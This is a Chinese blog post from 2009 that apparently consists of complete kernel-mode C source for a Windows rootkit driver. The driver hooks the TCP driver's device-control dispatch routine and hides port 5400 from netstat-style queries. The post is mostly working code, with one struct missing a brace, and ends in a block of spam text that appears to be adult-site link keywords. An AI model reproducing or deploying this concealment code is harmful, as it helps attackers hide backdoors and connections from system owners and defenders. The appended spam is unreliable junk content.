• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            隨筆-23  評(píng)論-73  文章-3  trackbacks-0

            /************************************************************
             驅(qū)動(dòng)層隱藏端口示例:

             說(shuō)明:通過(guò)HookTCP驅(qū)動(dòng)程序的Irp分派例程(irpStack->MajorFunction[IRP_MJ_DEVICE_CONTROL])
                      來(lái)隱藏應(yīng)用層查詢端口信息
            ************************************************************/
            #include <ntddk.h>

            #define CO_TL_ENTITY 0x400
            #define CL_TL_ENTITY 0x401
            #define IOCTL_TCP_QUERY_INFORMATION_EX 0x00120003
            #define HTONS(a) (((0xFF&a)<<8) + ((0xFF00&a)>>8))

            typedef struct TDIEntityID
            {
             ULONG tei_entity;
             ULONG tei_instance;
            }TDIEntityID;

            typedef struct TDIObjectID
            {
             TDIEntityID toi_entity;
             ULONG toi_class;
             ULONG toi_type;
             ULONG toi_id;
            }TDIObjectID;

            typedef struct _CONNINFO101

             unsigned long status;
             unsigned long src_addr;
             unsigned short src_port;
             unsigned short unk1;
             unsigned long dst_addr;
             unsigned short dest_port;
             unsigned short unk2;
            }CONNINFO101,*PCONNINFO101;

            typedef struct _CONNINFO102
            {
             unsigned long status;
             unsigned long src_addr;
             unsigned short src_port;
             unsigned short unk1;
             unsigned long dst_addr;
             unsigned short dst_port;
             unsigned short unk2;
             unsigned long pid;
            }CONNINFO102,*PCONNINFO102;

            typedef struct _CONNINFO110
            {
             unsigned long size;
             unsigned long status;
             unsigned long src_addr;
             unsigned short src_port;
             unsigned short unk1;
             unsigned long dst_addr;
             unsigned short dst_port;
             unsigned short unk2;
             unsigned long pid;
             PVOID unk3[35];
            }CONNINFO110,*PCONNINFO110;

            typedef struct _REQINFO
            {
             PIO_COMPLETION_ROUTINE OldCompletion;
             unsigned long ReqType;
            }REQINFO,*PREQINFO;

            PFILE_OBJECT pFile_tcp;
            PDEVICE_OBJECT pDev_tcp;
            PDRIVER_OBJECT pDrv_tcpip;

            typedef NTSTATUS (*OLDIRPMJDEVICECONTROL)(IN PDEVICE_OBJECT,IN PIRP);
            OLDIRPMJDEVICECONTROL OldIrpMjDeviceControl;

            NTSTATUS IoCompletionRoutine( IN PDEVICE_OBJECT DeviceObject,
                     IN PIRP Irp,
                     IN PVOID Context )
            /*
            * 如果將端口的狀態(tài)信息改為0,則端口就不顯示
            * 各個(gè)端口狀態(tài)信息如下:
            *  1 = CLOSED
            *  2 = LISTENING
            *  3 = SYN_SENT
            *  4 = SYN_RECEIVED
            *  5 = ESTABLISHED
            *  6 = FIN_WAIT_1
            *  7 = FIN_WAIT_2
            *  8 = CLOSE_WAIT
            *  9 = CLOSING
            *  ......
            */
            {
             PVOID OutputBuffer;
             ULONG NumOutputBuffers;
             PIO_COMPLETION_ROUTINE p_compRoutine;
             ULONG i;
             
             OutputBuffer = Irp->UserBuffer;
             //將以前的Irp中的完成函數(shù)的指針恢復(fù)
             p_compRoutine = ((PREQINFO)Context)->OldCompletion;
             //以下為判斷各種網(wǎng)絡(luò)請(qǐng)求的參數(shù)類型
             if(((PREQINFO)Context)->ReqType == 0x101)
             {
              NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO101);
              for( i = 0;i < NumOutputBuffers;i ++ )
              {
               //在這里隱藏端口
               if(HTONS(((PCONNINFO101)OutputBuffer)[i].src_port) == 5400 )
               {
                ((PCONNINFO101)OutputBuffer)[i].status = 0;
               }
              }
             }
             else if(((PREQINFO)Context)->ReqType == 0x102)
             {
              NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO102);
              for( i = 0;i < NumOutputBuffers;i ++ )
              {
               if(HTONS(((PCONNINFO102)OutputBuffer)[i].src_port) == 5400 )
               {
                ((PCONNINFO102)OutputBuffer)[i].status = 0;
               }
              }
             }
             else if(((PREQINFO)Context)->ReqType == 0x110)
             {
              NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO110);
              for( i = 0;i < NumOutputBuffers;i ++ )
              {
               if(HTONS(((PCONNINFO110)OutputBuffer)[i].src_port) == 5400 )
               {
                ((PCONNINFO110)OutputBuffer)[i].status = 0;
               }
              }
             }
             //釋放在Hook中分配的內(nèi)存
             ExFreePool(Context);
             
             if( (Irp->StackCount > (ULONG)1) && (p_compRoutine != NULL) )
             {
              //如果以前的IRP中有完成例程,就調(diào)用以前的完成例程
              return (p_compRoutine)(DeviceObject,Irp,NULL);
             }
             else
             {
              //如果以前的Irp沒(méi)有完成例程,就返回本Hook的狀態(tài)
              return Irp->IoStatus.Status;
             }
            }

            NTSTATUS HookedDeviceControl(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp)
            {
             PIO_STACK_LOCATION irpStack;
             ULONG ioTransferType;
             TDIObjectID *inputBuffer;
             ULONG context;
             
             irpStack = IoGetCurrentIrpStackLocation(Irp);
             //判斷當(dāng)前IRP棧單元的IRP_MJ_*例程
             switch( irpStack->MajorFunction )
             {
              case IRP_MJ_DEVICE_CONTROL:
              //如果IRP的次功能號(hào)為0且IOCTL查詢代碼為IOCTL_TCP_QUERY_INFORMATION_EX,
              //說(shuō)明是應(yīng)用層程序通過(guò)netstat.exe之類的程序請(qǐng)求查詢TCP端口號(hào)信息
              if((irpStack->MinorFunction == 0) && (irpStack->Parameters.DeviceIoControl.IoControlCode == IOCTL_TCP_QUERY_INFORMATION_EX))
              {
               //得到IoControlCode中的請(qǐng)求類型,判斷是否為METHOD_NEITHER方式的Irp
               //ioTransferType &= 3;是得到CTL_CODE中Irp的請(qǐng)求方式(METHOD_BUFFERED,METHOD_IN_DIRECT or METHOD_OUT_DIRECT,MOTHOD_NEITHER)
               ioTransferType = irpStack->Parameters.DeviceIoControl.IoControlCode;
               ioTransferType &= 3;
               if( ioTransferType == METHOD_NEITHER )
               {
                //MOTHOD_NEITHER方式的Irp的輸入緩沖區(qū)在Type3InputBuffer中
                inputBuffer = (TDIObjectID *)irpStack->Parameters.DeviceIoControl.Type3InputBuffer;
                //如果TDIObjectID的請(qǐng)求方式為CO_TL_ENTITY類型,說(shuō)明是請(qǐng)求查詢TCP端口信息
                if( inputBuffer->toi_entity.tei_entity == CO_TL_ENTITY )
                {
                 //0x101,0x102,0x110為應(yīng)用層程序查詢時(shí)所帶的不同參數(shù)
                 if( (inputBuffer->toi_id == 0x101) || (inputBuffer->toi_id == 0x102) || (inputBuffer->toi_id == 0x110) )
                 {
                  //改變Irp棧單元的控制位標(biāo)志
                  irpStack->Control = 0;
                  irpStack->Control |= SL_INVOKE_ON_SUCCESS;
                  //在Irp的棧單元中分配一個(gè)上下文,保存以前Irp的完成例程和應(yīng)用層參數(shù)信息
                  irpStack->Context = (PIO_COMPLETION_ROUTINE)ExAllocatePool(NonPagedPool,sizeof(REQINFO));
                  //保存舊的完成例程
                  ((PREQINFO)irpStack->Context)->OldCompletion = irpStack->CompletionRoutine;
                  ((PREQINFO)irpStack->Context)->ReqType = inputBuffer->toi_id;
                  //安裝新的完成例程
                  //這步操作很重要,當(dāng)鉤住當(dāng)前的TCP驅(qū)動(dòng)對(duì)象以后,就可以先一步得到發(fā)送驅(qū)動(dòng)程序的Irp
                  //在鉤子函數(shù)中處理完這個(gè)Irp后要把這個(gè)Irp發(fā)給真正的TCP驅(qū)動(dòng)程序
                  //在真正的TCP驅(qū)動(dòng)程序處理完成這個(gè)Irp以后,我們的鉤子函數(shù)唯一可以再得到這個(gè)Irp的方式是
                  //給這個(gè)Irp設(shè)置完成例程
                  irpStack->CompletionRoutine = (PIO_COMPLETION_ROUTINE)IoCompletionRoutine;
                 }
                }
               }
              }
              break;
              default:
              break;
             }
             //調(diào)用以前的DeviceIoControl函數(shù)
             return OldIrpMjDeviceControl(DeviceObject,Irp);
            }

            NTSTATUS InstallTCPDriverHook()
            {
             NTSTATUS ntStatus;
             UNICODE_STRING deviceTCPUnicodeString;
             WCHAR deviceTCPNameBuffer[] = L"\\Device\\Tcp";
             
             pFile_tcp = NULL;
             pDev_tcp = NULL;
             pDrv_tcpip = NULL;
             
             RtlInitUnicodeString(&deviceTCPUnicodeString,deviceTCPNameBuffer);
             //得到TCP驅(qū)動(dòng)程序的設(shè)備對(duì)象和文件對(duì)象
             ntStatus = IoGetDeviceObjectPointer(&deviceTCPUnicodeString,FILE_READ_DATA,&pFile_tcp,&pDev_tcp);
             if( !NT_SUCCESS(ntStatus) )
             {
              return ntStatus;
             }
             //得到TCP設(shè)備對(duì)象對(duì)應(yīng)的驅(qū)動(dòng)程序?qū)ο?br> pDrv_tcpip = pDev_tcp->DriverObject;
             //保存以前TCP驅(qū)動(dòng)對(duì)象中IRP_MJ_DEVICE_CONTROL函數(shù)的指針
             OldIrpMjDeviceControl = pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL];
             if( OldIrpMjDeviceControl )
             {
              //替換TCP驅(qū)動(dòng)對(duì)象的IRP_MJ_DEVICE_CONTROL函數(shù)的指針為鉤子函數(shù)的指針
              InterlockedExchange((PLONG)&pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL],(LONG)HookedDeviceControl);  
             }
             return STATUS_SUCCESS;
            }

            VOID Unload( IN PDRIVER_OBJECT  DriverObject )
            {
             if( OldIrpMjDeviceControl )
             {
              //在這里恢復(fù)以前的函數(shù)入口地址
              pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL] = OldIrpMjDeviceControl;
             }
             DbgPrint("Rootkits Unload \n");
            }

            NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath)
            {
             DbgPrint("Rootkits Load \n");
             DriverObject->DriverUnload = Unload;
             //安裝驅(qū)動(dòng)程序的Irp分派函數(shù)鉤子
             return InstallTCPDriverHook();
            }

            posted on 2009-01-13 10:56 ViskerWong 閱讀(2461) 評(píng)論(0)  編輯 收藏 引用
            要久久爱在线免费观看| 欧美激情精品久久久久久久九九九 | 精品人妻久久久久久888| 99久久99这里只有免费费精品| 国产Av激情久久无码天堂| Xx性欧美肥妇精品久久久久久| 久久久久久毛片免费看| 久久国产精品77777| 久久久久18| 粉嫩小泬无遮挡久久久久久| 少妇被又大又粗又爽毛片久久黑人| 午夜人妻久久久久久久久| 欧美国产成人久久精品| 久久免费视频网站| 亚洲国产精品无码久久久不卡 | 77777亚洲午夜久久多喷| 91久久九九无码成人网站 | 久久av无码专区亚洲av桃花岛| 国产免费久久精品丫丫| 久久久久99精品成人片直播| 久久久人妻精品无码一区| 91久久精品视频| www久久久天天com| 午夜精品久久久久久毛片| 久久无码AV中文出轨人妻| 青青久久精品国产免费看 | 国产精品久久婷婷六月丁香| 国内精品久久久久国产盗摄| 久久99精品国产99久久6男男| 亚洲精品高清国产一线久久| 欧美日韩精品久久久免费观看| 亚洲人成电影网站久久| 久久亚洲精品国产精品婷婷| 久久国产成人午夜aⅴ影院| 91麻精品国产91久久久久| 国产叼嘿久久精品久久| 99久久免费只有精品国产| 999久久久国产精品| 精品久久久久久无码人妻热| 色播久久人人爽人人爽人人片aV| 亚洲欧美另类日本久久国产真实乱对白 |